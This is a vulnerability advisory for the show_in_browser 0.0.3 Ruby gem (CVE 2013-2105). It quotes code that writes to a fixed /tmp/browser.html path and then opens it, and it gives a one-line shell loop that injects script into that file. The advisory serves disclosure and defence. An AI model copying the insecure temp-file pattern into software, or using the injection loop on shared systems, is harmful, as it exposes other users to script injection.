Advisory #: 100
Title: Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability
Author: Larry W. Cashdollar, @_larry0
Date: 2013-05-23
Download Site: https://rubygems.org/gems/show_in_browser
Vendor: Jonathan Leung
Vendor Notified: 2013-05-23
Vendor Contact: me@jonl.org
Description: Opens arbitrary text in your browser.
Vulnerability:
The following code uses the temporary file "/tmp/browser.html" insecurely. 2 FILE_LOCATION = "/tmp/browser.html" 3 4 class << self 5 6 def show(html) 7 file = File.open(FILE_LOCATION, 'w') 8 file.write(html) 9 file.close 0 11 `open #{FILE_LOCATION}` By a malicious user creating /tmp/browser.html first and repeatedly writing to it they can inject malicious html into the file right before it is about to be opened.
CVEID: 2013-2105
OSVDB:93490
Exploit Code:
  1. nobody () pitter:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/browser.html; done
  2.  
  3. Will pop up a java script alert in other gem users browser.
  4.  
Screen Shots:
Advisory: http://www.vapid.dhs.org/advisories/show_in_browser.html